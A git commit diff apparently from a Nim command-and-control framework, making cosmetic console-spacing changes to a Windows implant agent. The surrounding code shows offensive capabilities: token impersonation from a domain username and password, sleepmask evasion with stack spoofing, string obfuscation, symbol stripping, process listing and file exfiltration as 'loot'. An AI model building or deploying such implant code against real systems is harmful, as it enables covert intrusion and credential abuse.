Standardized console spacing between commands.

This commit is contained in:
Jakob Friedl
2025-10-17 09:42:08 +02:00
parent dea10ba7d5
commit 0fc8ff3caa
8 changed files with 19 additions and 18 deletions

View File

@@ -3,6 +3,6 @@
-d:release
--opt:size
--passL:"-s" # Strip symbols, such as sensitive function names
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
-d:MODULES="511"
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"

View File

@@ -150,7 +150,6 @@ proc displayHelp(component: ConsoleComponent) =
for module in getModules(component.agent.modules):
for cmd in module.commands:
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(15) & cmd.description)
component.console.addItem(LOG_OUTPUT, "")
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
var usage = command.name & " " & command.arguments.mapIt(
@@ -172,7 +171,6 @@ proc displayCommandHelp(component: ConsoleComponent, command: Command) =
for arg in command.arguments:
let isRequired = if arg.isRequired: "YES" else: "NO"
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
component.console.addItem(LOG_OUTPUT, "")
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
try:
@@ -185,6 +183,9 @@ proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
# Command was not found
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
# Add newline at the end of help text
component.console.addItem(LOG_OUTPUT, "")
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
# Convert user input into sequence of string arguments
let parsedArgs = parseInput(input)

View File

@@ -118,7 +118,7 @@ when defined(agent):
if length == 0:
raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).")
let output = $buffer[0 ..< (int)length] & "\n"
let output = $buffer[0 ..< (int)length]
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))
except CatchableError as err:
@@ -186,7 +186,7 @@ when defined(agent):
hFind = FindFirstFileW(searchPatternW, &findData)
if hFind == INVALID_HANDLE_VALUE:
raise newException(OSError, fmt"Failed to find files ({GetLastError()}).")
raise newException(OSError, fmt"Failed to list files ({GetLastError()}).")
# Directory was found and can be listed
else:
@@ -286,7 +286,7 @@ when defined(agent):
# Add summary of how many files/directories have been found
output &= "\n" & fmt"{totalFiles} file(s)" & "\n"
output &= fmt"{totalDirs} dir(s)" & "\n"
output &= fmt"{totalDirs} dir(s)"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(output))

View File

@@ -83,7 +83,7 @@ when defined(agent):
let destination = fmt"{paths.getCurrentDir()}\{fileName}"
writeFile(fmt"{destination}", fileContents)
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}." & "\n"))
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"File uploaded to {destination}."))
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -68,7 +68,7 @@ when defined(agent):
case int(task.argCount):
of 0:
# Retrieve sleepmask settings
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}" & "\n"
let response = fmt"Sleepmask settings: Technique: {$ctx.sleepTechnique}, Delay: {$ctx.sleep}ms, Stack spoofing: {$ctx.spoofStack}"
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(response))
of 1:

View File

@@ -61,7 +61,7 @@ when defined(agent):
# Take a snapshot of running processes
let hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
if hSnapshot == INVALID_HANDLE_VALUE:
raise newException(CatchableError, protect("Invalid permissions.\n"))
raise newException(CatchableError, protect("Invalid permissions."))
# Close handle after object is no longer used
defer: CloseHandle(hSnapshot)
@@ -71,7 +71,7 @@ when defined(agent):
# Loop over processes to fill the map
if Process32First(hSnapshot, addr pe32) == FALSE:
raise newException(CatchableError, protect("Failed to get processes.\n"))
raise newException(CatchableError, protect("Failed to get processes."))
while true:
var procInfo = ProcessInfo(

View File

@@ -4,7 +4,6 @@ import ../common/[types, utils]
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
# Module definition
let module* = Module(
name: protect("token"),
@@ -17,7 +16,7 @@ let module* = Module(
description: protect("Create an access token from username and password."),
example: protect("make-token LAB\\john Password123!"),
arguments: @[
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
],
@@ -59,14 +58,14 @@ when defined(agent):
# Split username and domain at separator '\'
let userParts = username.split("\\", 1)
if userParts.len() != 2:
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
raise newException(CatchableError, protect("Expected format domain\\username."))
if task.argCount == 3:
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
if not makeToken(userParts[1], password, userParts[0], logonType):
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
except CatchableError as err:
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))

View File

@@ -146,10 +146,11 @@ proc handleResult*(resultData: seq[byte]) =
cq.client.sendLoot(lootItem)
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes)." & "\n")
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).")
else: discard
of RESULT_NO_OUTPUT:
cq.output()
# Send newline to separate commands
cq.client.sendConsoleItem(agentId, LOG_OUTPUT, "")
except CatchableError as err:
cq.error(err.msg, "\n")